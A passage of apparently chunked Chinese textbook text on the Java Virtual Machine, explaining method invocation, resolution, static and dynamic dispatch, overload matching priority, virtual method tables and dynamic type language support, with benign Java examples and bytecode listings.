Linking）。通过第6章的讲解，我们知道Class文件的常量池中存有大量的符号引用，字节码中的方法调用指令就以常量池里指向方法的符号引用作为参数。这些符号引用一部分会在类加载阶段或者第一次使用的时候就被转化为直接引用，这种转化被称为静态解析。另外一部分将在每一次运行期间都转化为直接引用，这部分就称为动态连接。关于这两个转化过程的具体过程，将在8.3节中再详细讲解。 [1] 运行时常量池的相关内容详见第2章。 8.2.4 方法返回地址 当一个方法开始执行后，只有两种方式退出这个方法。第一种方式是执行引擎遇到任意一个方法返回的字节码指令，这时候可能会有返回值传递给上层的方法调用者（调用当前方法的方法称为调用者或者主调方法），方法是否有返回值以及返回值的类型将根据遇到何种方法返回指令来决定，这种退出方法的方式称为“正常调用完成”（Normal Method Invocation Completion）。 另外一种退出方式是在方法执行的过程中遇到了异常，并且这个异常没有在方法体内得到妥善处理。无论是Java虚拟机内部产生的异常，还是代码中使用athrow字节码指令产生的异常，只要在本方法的异常表中没有搜索到匹配的异常处理器，就会导致方法退出，这种退出方法的方式称为“异常调用完成（Abrupt Method Invocation Completion）”。一个方法使用异常完成出口的方式退出，是不会给它的上层调用者提供任何返回值的。 无论采用何种退出方式，在方法退出之后，都必须返回到最初方法被调用时的位置，程序才能继续执行，方法返回时可能需要在栈帧中保存一些信息，用来帮助恢复它的上层主调方法的执行状态。一般来说，方法正常退出时，主调方法的PC计数器的值就可以作为返回地址，栈帧中很可能会保存这个计数器值。而方法异常退出时，返回地址是要通过异常处理器表来确定的，栈帧中就一般不会保存这部分信息。 方法退出的过程实际上等同于把当前栈帧出栈，因此退出时可能执行的操作有：恢复上层方法的局部变量表和操作数栈，把返回值（如果有的话）压入调用者栈帧的操作数栈中，调整PC计数器的值以指向方法调用指令后面的一条指令等。笔者这里写的“可能”是由于这是基于概念模型的讨论，只有具体到某一款Java虚拟机实现，会执行哪些操作才能确定下来。 8.2.5 附加信息 《Java虚拟机规范》允许虚拟机实现增加一些规范里没有描述的信息到栈帧之中，例如与调试、性能收集相关的信息，这部分信息完全取决于具体的虚拟机实现，这里不再详述。在讨论概念时，一般会把动态连接、方法返回地址与其他附加信息全部归为一类，称为栈帧信息。"},
    {"text": "8.3 方法调用 方法调用并不等同于方法中的代码被执行，方法调用阶段唯一的任务就是确定被调用方法的版本（即调用哪一个方法），暂时还未涉及方法内部的具体运行过程。在程序运行时，进行方法调用是最普遍、最频繁的操作之一，但第7章中已经讲过，Class文件的编译过程中不包含传统程序语言编译的连接步骤，一切方法调用在Class文件里面存储的都只是符号引用，而不是方法在实际运行时内存布局中的入口地址（也就是之前说的直接引用）。这个特性给Java带来了更强大的动态扩展能力，但也使得Java方法调用过程变得相对复杂，某些调用需要在类加载期间，甚至到运行期间才能确定目标方法的直接引用。 8.3.1 解析 承接前面关于方法调用的话题，所有方法调用的目标方法在Class文件里面都是一个常量池中的符号引用，在类加载的解析阶段，会将其中的一部分符号引用转化为直接引用，这种解析能够成立的前提是：方法在程序真正运行之前就有一个可确定的调用版本，并且这个方法的调用版本在运行期是不可改变的。换句话说，调用目标在程序代码写好、编译器进行编译那一刻就已经确定下来。这类方法的调用被称为解析（Resolution）。 在Java语言中符合“编译期可知，运行期不可变”这个要求的方法，主要有静态方法和私有方法两大类，前者与类型直接关联，后者在外部不可被访问，这两种方法各自的特点决定了它们都不可能通过继承或别的方式重写出其他版本，因此它们都适合在类加载阶段进行解析。 调用不同类型的方法，字节码指令集里设计了不同的指令。在Java虚拟机支持以下5条方法调用字节码指令，分别是： ·invokestatic。用于调用静态方法。 ·invokespecial。用于调用实例构造器<init>()方法、私有方法和父类中的方法。 ·invokevirtual。用于调用所有的虚方法。 ·invokeinterface。用于调用接口方法，会在运行时再确定一个实现该接口的对象。 ·invokedynamic。先在运行时动态解析出调用点限定符所引用的方法，然后再执行该方法。前面4条调用指令，分派逻辑都固化在Java虚拟机内部，而invokedynamic指令的分派逻辑是由用户设定的引导方法来决定的。 只要能被invokestatic和invokespecial指令调用的方法，都可以在解析阶段中确定唯一的调用版本，Java语言里符合这个条件的方法共有静态方法、私有方法、实例构造器、父类方法4种，再加上被final修饰的方法（尽管它使用invokevirtual指令调用），这5种方法调用会在类加载的时候就可以把符号引用解析为该方法的直接引用。这些方法统称为“非虚方法”（Non-Virtual Method），与之相反，其他方法就被称为“虚方法”（Virtual Method）。 代码清单8-5演示了一种常见的解析调用的例子，该样例中，静态方法sayHello()只可能属于类型StaticResolution，没有任何途径可以覆盖或隐藏这个方法。 代码清单8-5 方法静态解析演示 /** * 方法静态解析演示 * * @author zzm */ public class StaticResolution { public static void sayHello() { System.out.println(\"hello world\"); } public static void main(String[] args) { StaticResolution.sayHello(); } } 使用javap命令查看这段程序对应的字节码，会发现的确是通过invokestatic命令来调用sayHello()方法，而且其调用的方法版本已经在编译时就明确以常量池项的形式固化在字节码指令的参数之中（代码里的31号常量池项）： javap -verbose StaticResolution public static void main(java.lang.String[]); Code: Stack=0, Locals=1, Args_size=1 0: invokestatic #31; //Method sayHello:()V 3: return LineNumberTable: line 15: 0 line 16: 3 Java中的非虚方法除了使用invokestatic、invokespecial调用的方法之外还有一种，就是被final修饰的实例方法。虽然由于历史设计的原因，final方法是使用invokevirtual指令来调用的，但是因为它也无法被覆盖，没有其他版本的可能，所以也无须对方法接收者进行多态选择，又或者说多态选择的结果肯定是唯一的。在《Java语言规范》中明确定义了被final修饰的方法是一种非虚方法。 解析调用一定是个静态的过程，在编译期间就完全确定，在类加载的解析阶段就会把涉及的符号引用全部转变为明确的直接引用，不必延迟到运行期再去完成。而另一种主要的方法调用形式：分派（Dispatch）调用则要复杂许多，它可能是静态的也可能是动态的，按照分派依据的宗量数可分为单分派和多分派 [1] 。这两类分派方式两两组合就构成了静态单分派、静态多分派、动态单分派、动态多分派4种分派组合情况，下面我们来看看虚拟机中的方法分派是如何进行的。 [1] 这里涉及的单分派、多分派及相关概念（如“宗量数”）在后续章节有详细解释，如没有这方面基础的读者暂时略过即可。"},
    {"text": "8.3.2 分派 众所周知，Java是一门面向对象的程序语言，因为Java具备面向对象的3个基本特征：继承、封装和多态。 本节讲解的分派调用过程将会揭示多态性特征的一些最基本的体现，如“重载”和“重写”在Java虚拟机之中是如何实现的，这里的实现当然不是语法上该如何写，我们关心的依然是虚拟机如何确定正确的目标方法。 1.静态分派 在开始讲解静态分派 [1] 前，笔者先声明一点，“分派”（Dispatch）这个词本身就具有动态性，一般不应用在静态语境之中，这部分原本在英文原版的《Java虚拟机规范》和《Java语言规范》里的说法都是“Method Overload Resolution”，即应该归入8.2节的“解析”里去讲解，但部分其他外文资料和国内翻译的许多中文资料都将这种行为称为“静态分派”，所以笔者在此特别说明一下，以免读者阅读英文资料时遇到这两种说法产生疑惑。 为了解释静态分派和重载（Overload），笔者准备了一段经常出现在面试题中的程序代码，读者不妨先看一遍，想一下程序的输出结果是什么。"},
    {"text": "代码清单8-6 方法静态分派演示 package org.fenixsoft.polymorphic; /** * 方法静态分派演示 * @author zzm */ public class StaticDispatch { static abstract class Human { } static class Man extends Human { } static class Woman extends Human { } public void sayHello(Human guy) { System.out.println(\"hello,guy!\"); } public void sayHello(Man guy) { System.out.println(\"hello,gentleman!\"); } public void sayHello(Woman guy) { System.out.println(\"hello,lady!\"); } public static void main(String[] args) { Human man = new Man(); Human woman = new Woman(); StaticDispatch sr = new StaticDispatch(); sr.sayHello(man); sr.sayHello(woman); } } 运行结果： hello,guy! hello,guy! 代码清单8-6中的代码实际上是在考验阅读者对重载的理解程度，相信对Java稍有经验的程序员看完程序后都能得出正确的运行结果，但为什么虚拟机会选择执行参数类型为Human的重载版本呢？"},
    {"text": "在解决这个问题之前，我们先通过如下代码来定义两个关键概念： Human man = new Man(); 我们把上面代码中的“Human”称为变量的“静态类型”（Static Type），或者叫“外观类型”（Apparent Type），后面的“Man”则被称为变量的“实际类型”（Actual Type）或者叫“运行时类型”（Runtime Type）。 静态类型和实际类型在程序中都可能会发生变化，区别是静态类型的变化仅仅在使用时发生，变量本身的静态类型不会被改变，并且最终的静态类型是在编译期可知的； 而实际类型变化的结果在运行期才可确定，编译器在编译程序的时候并不知道一个对象的实际类型是什么。 笔者猜想上面这段话读者大概会不太好理解，那不妨通过一段实际例子来解释，譬如有下面的代码： // 实际类型变化 Human human = (new Random()).nextBoolean() ? new Man() : new Woman(); // 静态类型变化 sr.sayHello((Man) human) sr.sayHello((Woman) human) 对象human的实际类型是可变的，编译期间它完全是个“薛定谔的人”，到底是Man还是Woman，必须等到程序运行到这行的时候才能确定。 而human的静态类型是Human，也可以在使用时（如sayHello()方法中的强制转型）临时改变这个类型，但这个改变仍是在编译期是可知的，两次sayHello()方法的调用，在编译期完全可以明确转型的是Man还是Woman。"},
    {"text": "main()里面的两次sayHello()方法调用，在方法接收者已经确定是对象“sr”的前提下，使用哪个重载版本，就完全取决于传入参数的数量和数据类型。"},
    {"text": "代码中故意定义了两个静态类型相同，而实际类型不同的变量，但虚拟机（或者准确地说是编译器）在重载时是通过参数的静态类型而不是实际类型作为判定依据的。"},
    {"text": "由于静态类型在编译期可知，所以在编译阶段，Javac编译器就根据参数的静态类型决定了会使用哪个重载版本，因此选择了sayHello(Human)作为调用目标，并把这个方法的符号引用写到main()方法里的两条invokevirtual指令的参数中。"},
    {"text": "静态分派发生在编译阶段，因此确定静态分派的动作实际上不是由虚拟机来执行的，这点也是为何一些资料选择把它归入“解析”而不是“分派”的原因。"},
    {"text": "需要注意Javac编译器虽然能确定出方法的重载版本，但在很多情况下这个重载版本并不是“唯一”的，往往只能确定一个“相对更合适的”版本。"},
    {"text": "这种模糊的结论在由0和1构成的计算机世界中算是个比较稀罕的事件，产生这种模糊结论的主要原因是字面量天生的模糊性，它不需要定义，所以字面量就没有显式的静态类型，它的静态类型只能通过语言、语法的规则去理解和推断。"},
    {"text": "代码清单8-7 重载方法匹配优先级 package org.fenixsoft.polymorphic; public class Overload { public static void sayHello(Object arg) { System.out.println(\"hello Object\"); } public static void sayHello(int arg) { System.out.println(\"hello int\"); } public static void sayHello(long arg) { System.out.println(\"hello long\"); } public static void sayHello(Character arg) { System.out.println(\"hello Character\"); } public static void sayHello(char arg) { System.out.println(\"hello char\"); } public static void sayHello(char... arg) { System.out.println(\"hello char ...\"); } public static void sayHello(Serializable arg) { System.out.println(\"hello Serializable\"); } public static void main(String[] args) { sayHello('a'); } } 上面的代码运行后会输出： hello char 这很好理解，'a'是一个char类型的数据，自然会寻找参数类型为char的重载方法，如果注释掉sayHello(char arg)方法，那输出会变为： hello int 这时发生了一次自动类型转换，'a'除了可以代表一个字符串，还可以代表数字97（字符'a'的Unicode数值为十进制数字97），因此参数类型为int的重载也是合适的。 我们继续注释掉sayHello(int arg)方法，那输出会变为： hello long 这时发生了两次自动类型转换，'a'转型为整数97之后，进一步转型为长整数97L，匹配了参数类型为long的重载。 笔者在代码中没有写其他的类型如float、double等的重载，不过实际上自动转型还能继续发生多次，按照char>int>long>float>double的顺序转型进行匹配，但不会匹配到byte和short类型的重载，因为char到byte或short的转型是不安全的。 我们继续注释掉sayHello(long arg)方法，那输出会变为： hello Character 这时发生了一次自动装箱，'a'被包装为它的封装类型java.lang.Character，所以匹配到了参数类型为Character的重载，继续注释掉sayHello(Character arg)方法，那输出会变为： hello Serializable 这个输出可能会让人摸不着头脑，一个字符或数字与序列化有什么关系？ 出现hello Serializable，是因为java.lang.Serializable是java.lang.Character类实现的一个接口，当自动装箱之后发现还是找不到装箱类，但是找到了装箱类所实现的接口类型，所以紧接着又发生一次自动转型。"},
    {"text": "Character还实现了另外一个接口java.lang.Comparable<Character>，如果同时出现两个参数分别为Serializable和Comparable<Character>的重载方法，那它们在此时的优先级是一样的。"},
    {"text": "但是如果读者愿意花费一点时间，绕过Javac编译器，自己去构造出表达相同语义的字节码，将会发现这是能够通过Java虚拟机的类加载校验，而且能够被Java虚拟机正常执行的，但是会选择Serializable还是Comparable<Character>的重载方法则并不能事先确定，这是《Java虚拟机规范》所允许的，在第7章介绍接口方法解析过程时曾经提到过。"},
    {"text": "下面继续注释掉sayHello(Serializable arg)方法，输出会变为： hello Object 这时是char装箱后转型为父类了，如果有多个父类，那将在继承关系中从下往上开始搜索，越接上层的优先级越低。"},
    {"text": "我们把sayHello(Object arg)也注释掉，输出将会变为： hello char ... 7个重载方法已经被注释得只剩1个了，可见变长参数的重载优先级是最低的，这时候字符'a'被当作了一个char[]数组的元素。 笔者使用的是char类型的变长参数，读者在验证时还可以选择int类型、Character类型、Object类型等的变长参数重载来把上面的过程重新折腾一遍。 但是要注意的是，有一些在单个参数中能成立的自动转型，如char转型为int，在变长参数中是不成立的 [2] 。"},
    {"text": "演示所用的这段程序无疑是属于很极端的例子，除了用作面试题为难求职者之外，在实际工作中几乎不可能存在任何有价值的用途，笔者拿来做演示仅仅是用于讲解重载时目标方法选择的过程，对绝大多数下进行这样极端的重载都可算作真正的“关于茴香豆的茴有几种写法的研究”。"},
    {"text": "另外还有一点读者可能比较容易混淆：笔者讲述的解析与分派这两者之间的关系并不是二选一的排他关系，它们是在不同层次上去筛选、确定目标方法的过程。"},
    {"text": "例如前面说过静态方法会在编译期确定、在类加载期就进行解析，而静态方法显然也是可以拥有重载版本的，选择重载版本的过程也是通过静态分派完成的。 2.动态分派 了解了静态分派，我们接下来看一下Java语言里动态分派的实现过程，它与Java语言多态性的另外一个重要体现 [3] ——重写（Override）有着很密切的关联。"},
    {"text": "代码清单8-8 方法动态分派演示 package org.fenixsoft.polymorphic; /** * 方法动态分派演示 * @author zzm */ public class DynamicDispatch { static abstract class Human { protected abstract void sayHello(); } static class Man extends Human { @Override protected void sayHello() { System.out.println(\"man say hello\"); } } static class Woman extends Human { @Override protected void sayHello() { System.out.println(\"woman say hello\"); } } public static void main(String[] args) { Human man = new Man(); Human woman = new Woman(); man.sayHello(); woman.sayHello(); man = new Woman(); man.sayHello(); } } 运行结果： man say hello woman say hello woman say hello 这个运行结果相信不会出乎任何人的意料，对于习惯了面向对象思维的Java程序员们会觉得这是完全理所当然的结论。"},
    {"text": "显然这里选择调用的方法版本是不可能再根据静态类型来决定的，因为静态类型同样都是Human的两个变量man和woman在调用sayHello()方法时产生了不同的行为，甚至变量man在两次调用中还执行了两个不同的方法。"},
    {"text": "代码清单8-9 main()方法的字节码 public static void main(java.lang.String[]); Code: Stack=2, Locals=3, Args_size=1 0: new #16; //class org/fenixsoft/polymorphic/DynamicDispatch$Man 3: dup 4: invokespecial #18; //Method org/fenixsoft/polymorphic/Dynamic Dispatch$Man.\"<init>\":()V 7: astore_1 8: new #19; //class org/fenixsoft/polymorphic/DynamicDispatch$Woman 11: dup 12: invokespecial #21; //Method org/fenixsoft/polymorphic/DynamicDispatch$Woman.\"<init>\":()V 15: astore_2 16: aload_1 17: invokevirtual #22; //Method org/fenixsoft/polymorphic/Dynamic Dispatch$Human.sayHello:()V 20: aload_2 21: invokevirtual #22; //Method org/fenixsoft/polymorphic/Dynamic Dispatch$Human.sayHello:()V 24: new #19; //class org/fenixsoft/polymorphic/DynamicDispatch$Woman 27: dup 28: invokespecial #21; //Method org/fenixsoft/polymorphic/DynamicDispatch$Woman.\"<init>\":()V 31: astore_1 32: aload_1 33: invokevirtual #22; //Method org/fenixsoft/polymorphic/Dynamic Dispatch$Human.sayHello:()V 36: return 0～15行的字节码是准备动作，作用是建立man和woman的内存空间、调用Man和Woman类型的实例构造器，将这两个实例的引用存放在第1、2个局部变量表的变量槽中，这些动作实际对应了Java源码中的这两行： Human man = new Man(); Human woman = new Woman(); 接下来的16～21行是关键部分，16和20行的aload指令分别把刚刚创建的两个对象的引用压到栈顶，这两个对象是将要执行的sayHello()方法的所有者，称为接收者（Receiver）；"},
    {"text": "17和21行是方法调用指令，这两条调用指令单从字节码角度来看，无论是指令（都是invokevirtual）还是参数（都是常量池中第22项的常量，注释显示了这个常量是Human.sayHello()的符号引用）都完全一样，但是这两句指令最终执行的目标方法并不相同。"},
    {"text": "那看来解决问题的关键还必须从invokevirtual指令本身入手，要弄清楚它是如何确定调用方法版本、如何实现多态查找来着手分析才行。 根据《Java虚拟机规范》，invokevirtual指令的运行时解析过程 [4] 大致分为以下几步： 1）找到操作数栈顶的第一个元素所指向的对象的 实际类型 ，记作C。"},
    {"text": "2）如果在类型C中找到与常量中的描述符和简单名称都相符的方法，则进行访问权限校验，如果通过则返回这个方法的直接引用，查找过程结束；"},
    {"text": "正是因为invokevirtual指令执行的第一步就是在运行期确定接收者的实际类型，所以两次调用中的invokevirtual指令并不是把常量池中方法的符号引用解析到直接引用上就结束了，还会根据方法接收者的实际类型来选择方法版本，这个过程就是Java语言中方法重写的本质。"},
    {"text": "既然这种多态性的根源在于虚方法调用指令invokevirtual的执行逻辑，那自然我们得出的结论就只会对方法有效，对字段是无效的，因为字段不使用这条指令。 事实上，在Java里面只有虚方法存在，字段永远不可能是虚的，换句话说，字段永远不参与多态，哪个类的方法访问某个名字的字段时，该名字指的就是这个类能看到的那个字段。"},
    {"text": "代码清单8-10 字段没有多态性 package org.fenixsoft.polymorphic; /** * 字段不参与多态 * @author zzm */ public class FieldHasNoPolymorphic { static class Father { public int money = 1; public Father() { money = 2; showMeTheMoney(); } public void showMeTheMoney() { System.out.println(\"I am Father, i have $\" + money); } } static class Son extends Father { public int money = 3; public Son() { money = 4; showMeTheMoney(); } public void showMeTheMoney() { System.out.println(\"I am Son, i have $\" + money); } } public static void main(String[] args) { Father gay = new Son(); System.out.println(\"This gay has $\" + gay.money); } } 运行后输出结果为： I am Son, i have $0 I am Son, i have $4 This gay has $2 输出两句都是“I am Son”，这是因为Son类在创建的时候，首先隐式调用了Father的构造函数，而Father构造函数中对showMeTheMoney()的调用是一次虚方法调用，实际执行的版本是Son::showMeTheMoney()方法，所以输出的是“I am Son”，这点经过前面的分析相信读者是没有疑问的了。 而这时候虽然父类的money字段已经被初始化成2了，但Son::showMeTheMoney()方法中访问的却是子类的money字段，这时候结果自然还是0，因为它要到子类的构造函数执行时才会被初始化。 main()的最后一句通过静态类型访问到了父类中的money，输出了2。"},
    {"text": "3.单分派与多分派 方法的接收者与方法的参数统称为方法的宗量，这个定义最早应该来源于著名的《Java与模式》一书。 根据分派基于多少种宗量，可以将分派划分为单分派和多分派两种。 单分派是根据一个宗量对目标方法进行选择，多分派则是根据多于一个宗量对目标方法进行选择。 单分派和多分派的定义读起来拗口，从字面上看也比较抽象，不过对照着实例看并不难理解其含义，代码清单8-11中举了一个Father和Son一起来做出“一个艰难的决定 [5] ”的例子。 代码清单8-11 单分派和多分派 /** * 单分派、多分派演示 * @author zzm */ public class Dispatch { static class QQ {} static class _360 {} public static class Father { public void hardChoice(QQ arg) { System.out.println(\"father choose qq\"); } public void hardChoice(_360 arg) { System.out.println(\"father choose 360\"); } } public static class Son extends Father { public void hardChoice(QQ arg) { System.out.println(\"son choose qq\"); } public void hardChoice(_360 arg) { System.out.println(\"son choose 360\"); } } public static void main(String[] args) { Father father = new Father(); Father son = new Son(); father.hardChoice(new _360()); son.hardChoice(new QQ()); } } 运行结果： father choose 360 son choose qq 在main()里调用了两次hardChoice()方法，这两次hardChoice()方法的选择结果在程序输出中已经显示得很清楚了。"},
    {"text": "这时候选择目标方法的依据有两点：一是静态类型是Father还是Son，二是方法参数是QQ还是360。 这次选择结果的最终产物是产生了两条invokevirtual指令，两条指令的参数分别为常量池中指向Father::hardChoice(360)及Father::hardChoice(QQ)方法的符号引用。"},
    {"text": "在执行“son.hardChoice(new QQ())”这行代码时，更准确地说，是在执行这行代码所对应的invokevirtual指令时，由于编译期已经决定目标方法的签名必须为hardChoice(QQ)，虚拟机此时不会关心传递过来的参数“QQ”到底是“腾讯QQ”还是“奇瑞QQ”，因为这时候参数的静态类型、实际类型都对方法的选择不会构成任何影响，唯一可以影响虚拟机选择的因素只有该方法的接受者的实际类型是Father还是Son。"},
    {"text": "根据上述论证的结果，我们可以总结一句：如今（直至本书编写的Java 12和预览版的Java 13）的Java语言是一门静态多分派、动态单分派的语言。 强调“如今的Java语言”是因为这个结论未必会恒久不变，C#在3.0及之前的版本与Java一样是动态单分派语言，但在C#4.0中引入了dynamic类型后，就可以很方便地实现动态多分派。"},
    {"text": "JDK 10时Java语法中新出现var关键字，但请读者切勿将其与C#中的dynamic类型混淆，事实上Java的var与C#的var才是相对应的特性，它们与dynamic有着本质的区别：var是在编译时根据声明语句中赋值符右侧的表达式类型来静态地推断类型，这本质是一种语法糖；"},
    {"text": "Java语言中与C#的dynamic类型功能相对接近（只是接近，并不是对等的）的应该是在JDK 9时通过JEP 276引入的jdk.dynalink模块 [6] ，使用jdk.dynalink可以实现在表达式中使用动态类型，Javac编译器会将这些动态类型的操作翻译为invokedynamic指令的调用点。"},
    {"text": "按照目前Java语言的发展趋势，它并没有直接变为动态语言的迹象，而是通过内置动态语言（如JavaScript）执行引擎、加强与其他Java虚拟机上动态语言交互能力的方式来间接地满足动态性的需求。"},
    {"text": "但是作为多种语言共同执行平台的Java虚拟机层面上则不是如此，早在JDK 7中实现的JSR-292 [7] 里面就已经开始提供对动态语言的方法调用支持了，JDK 7中新增的invokedynamic指令也成为最复杂的一条方法调用的字节码指令，稍后笔者将在本章中专门开一节来讲解这个与Java调用动态语言密切相关的特性。"},
    {"text": "4.虚拟机动态分派的实现 前面介绍的分派过程，作为对Java虚拟机概念模型的解释基本上已经足够了，它已经解决了虚拟机在分派中“会做什么”这个问题。"},
    {"text": "动态分派是执行非常频繁的动作，而且动态分派的方法版本选择过程需要运行时在接收者类型的方法元数据中搜索合适的目标方法，因此，Java虚拟机实现基于执行性能的考虑，真正运行时一般不会如此频繁地去反复搜索类型元数据。"},
    {"text": "面对这种情况，一种基础而且常见的优化手段是为类型在方法区中建立一个虚方法表（Virtual Method Table，也称为vtable，与此对应的，在invokeinterface执行时也会用到接口方法表——Interface Method Table，简称itable），使用虚方法表索引来代替元数据查找以提高性能 [8] 。"},
    {"text": "如果某个方法在子类中没有被重写，那子类的虚方法表中的地址入口和父类相同方法的地址入口是一致的，都指向父类的实现入口。 如果子类中重写了这个方法，子类虚方法表中的地址也会被替换为指向子类实现版本的入口地址。"},
    {"text": "在图8-3中，Son重写了来自Father的全部方法，因此Son的方法表没有指向Father类型数据的箭头。 但是Son和Father都没有重写来自Object的方法，所以它们的方法表中所有从Object继承来的方法都指向了Object的数据类型。"},
    {"text": "为了程序实现方便，具有相同签名的方法，在父类、子类的虚方法表中都应当具有一样的索引序号，这样当类型变换时，仅需要变更查找的虚方法表，就可以从不同的虚方法表中按索引转换出所需的入口地址。 虚方法表一般在类加载的连接阶段进行初始化，准备了类的变量初始值后，虚拟机会把该类的虚方法表也一同初始化完毕。 上文中笔者提到了查虚方法表是分派调用的一种优化手段，由于Java对象里面的方法默认（即不使用final修饰）就是虚方法，虚拟机除了使用虚方法表之外，为了进一步提高性能，还会使用类型继承关系分析（Class Hierarchy Analysis，CHA）、守护内联（Guarded Inlining）、内联缓存（Inline Cache）等多种非稳定的激进优化来争取更大的性能空间，关于这几种优化技术的原理和运作过程，读者可以参考第11章中的相关内容。"},
    {"text": "[3] 重写肯定是多态性的体现，但对于重载算不算多态，有一些概念上的争议，有观点认为必须是多个不同类对象对同一签名的方法做出不同响应才算多态，也有观点认为只要使用同一形式的接口去实现不同类的行为就算多态。"},
    {"text": "[4] 指普通方法的解析过程，有一些特殊情况（签名多态性方法）的解析过程会稍有区别，但这是用于支持动态语言调用的，与本节话题关系不大。"},
    {"text": "[6] JEP 276的Owner是Attila Szegedi，jdk.dynalink包实质就是把他自己写的开源项目dynalink变成了Java标准的API，所以读者对jdk.dynalink感兴趣的话可以参考：https://github.com/szegedi/dynalink。"},
    {"text": "[8] 这里的“提高性能”是相对于直接搜索元数据来说的，实际上在HotSpot虚拟机的实现中，直接去查itable和vtable已经算是最慢的一种分派，只在解释执行状态时使用，在即时编译执行时，会有更多的性能优化措施，具体可常见第11章关于方法内联的内容。"},
    {"text": "8.4 动态类型语言支持 Java虚拟机的字节码指令集的数量自从Sun公司的第一款Java虚拟机问世至今，二十余年间只新增过一条指令，它就是随着JDK 7的发布的字节码首位新成员——invokedynamic指令。这条新增加的指令是JDK 7的项目目标：实现动态类型语言（Dynamically Typed Language）支持而进行的改进之一，也是为JDK 8里可以顺利实现Lambda表达式而做的技术储备。在本节中，我们将详细了解动态语言支持这项特性出现的前因后果和它的意义与价值。 8.4.1 动态类型语言 在介绍Java虚拟机的动态类型语言支持之前，我们要先弄明白动态类型语言是什么？它与Java语言、Java虚拟机有什么关系？了解Java虚拟机提供动态类型语言支持的技术背景，对理解这个语言特性是非常有必要的。 何谓动态类型语言 [1] ？动态类型语言的关键特征是它的类型检查的主体过程是在运行期而不是编译期进行的，满足这个特征的语言有很多，常用的包括：APL、Clojure、Erlang、Groovy、JavaScript、Lisp、Lua、PHP、Prolog、Python、Ruby、Smalltalk、Tcl，等等。那相对地，在编译期就进行类型检查过程的语言，譬如C++和Java等就是最常用的静态类型语言。 如果读者觉得上面的定义过于概念化，那我们不妨通过两个例子以最浅显的方式来说明什么是“类型检查”和什么叫“在编译期还是在运行期进行”。首先看下面这段简单的Java代码，思考一下它是否能正常编译和运行？ public static void main(String[] args) { int[][][] array = new int[1][0][-1]; } 上面这段Java代码能够正常编译，但运行的时候会出现NegativeArraySizeException异常。在《Java虚拟机规范》中明确规定了NegativeArraySizeException是一个运行时异常（Runtime Exception），通俗一点说，运行时异常就是指只要代码不执行到这一行就不会出现问题。与运行时异常相对应的概念是连接时异常，例如很常见的NoClassDefFoundError便属于连接时异常，即使导致连接时异常的代码放在一条根本无法被执行到的路径分支上，类加载时（第7章解释过Java的连接过程不在编译阶段，而在类加载阶段）也照样会抛出异常。 不过，在C语言里，语义相同的代码就会在编译期就直接报错，而不是等到运行时才出现异常： int main(void) { int i[1][0][-1]; // GCC拒绝编译，报“size of array is negative” return 0; } 由此看来，一门语言的哪一种检查行为要在运行期进行，哪一种检查要在编译期进行并没有什么必然的因果逻辑关系，关键是在语言规范中人为设立的约定。 解答了什么是“连接时、运行时”，笔者再举一个例子来解释什么是“类型检查”，例如下面这一句再普通不过的代码： obj.println(\"hello world\"); 虽然正在阅读本书的每一位读者都能看懂这行代码要做什么，但对于计算机来讲，这一行“没头没尾”的代码是无法执行的，它需要一个具体的上下文中（譬如程序语言是什么、obj是什么类型）才有讨论的意义。 现在先假设这行代码是在Java语言中，并且变量obj的静态类型为java.io.PrintStream，那变量obj的实际类型就必须是PrintStream的子类（实现了PrintStream接口的类）才是合法的。否则，哪怕obj属于一个确实包含有println(String)方法相同签名方法的类型，但只要它与PrintStream接口没有继承关系，代码依然不可能运行——因为类型检查不合法。 但是相同的代码在ECMAScript（JavaScript）中情况则不一样，无论obj具体是何种类型，无论其继承关系如何，只要这种类型的方法定义中确实包含有println(String)方法，能够找到相同签名的方法，调用便可成功。 产生这种差别产生的根本原因是Java语言在编译期间却已将println(String)方法完整的符号引用（本例中为一项CONSTANT_InterfaceMethodref_info常量）生成出来，并作为方法调用指令的参数存储到Class文件中，例如下面这个样子： invokevirtual #4; //Method java/io/PrintStream.println:(Ljava/lang/String;)V 这个符号引用包含了该方法定义在哪个具体类型之中、方法的名字以及参数顺序、参数类型和方法返回值等信息，通过这个符号引用，Java虚拟机就可以翻译出该方法的直接引用。而ECMAScript等动态类型语言与Java有一个核心的差异就是变量obj本身并没有类型，变量obj的值才具有类型，所以编译器在编译时最多只能确定方法名称、参数、返回值这些信息，而不会去确定方法所在的具体类型（即方法接收者不固定）。“变量无类型而变量值才有类型”这个特点也是动态类型语言的一个核心特征。 了解了动态类型和静态类型语言的区别后，也许读者的下一个问题就是动态、静态类型语言两者谁更好，或者谁更加先进呢？这种比较不会有确切答案，它们都有自己的优点，选择哪种语言是需要权衡的事情。静态类型语言能够在编译期确定变量类型，最显著的好处是编译器可以提供全面严谨的类型检查，这样与数据类型相关的潜在问题就能在编码时被及时发现，利于稳定性及让项目容易达到更大的规模。而动态类型语言在运行期才确定类型，这可以为开发人员提供极大的灵活性，某些在静态类型语言中要花大量臃肿代码来实现的功能，由动态类型语言去做可能会很清晰简洁，清晰简洁通常也就意味着开发效率的提升。 [1] 注意，动态类型语言与动态语言、弱类型语言并不是一个概念，需要区别对待。"},
    {"text": "8.4.2 Java与动态类型 现在我们回到本节的主题，来看看Java语言、Java虚拟机与动态类型语言之间有什么关系。Java虚拟机毫无疑问是Java语言的运行平台，但它的使命并不限于此，早在1997年出版的《Java虚拟机规范》第1版中就规划了这样一个愿景：“在未来，我们会对Java虚拟机进行适当的扩展，以便更好地支持其他语言运行于Java虚拟机之上。”而目前确实已经有许多动态类型语言运行于Java虚拟机之上了，如Clojure、Groovy、Jython和JRuby等，能够在同一个虚拟机之上可以实现静态类型语言的严谨与动态类型语言的灵活，这的确是一件很美妙的事情。 但遗憾的是Java虚拟机层面对动态类型语言的支持一直都还有所欠缺，主要表现在方法调用方面：JDK 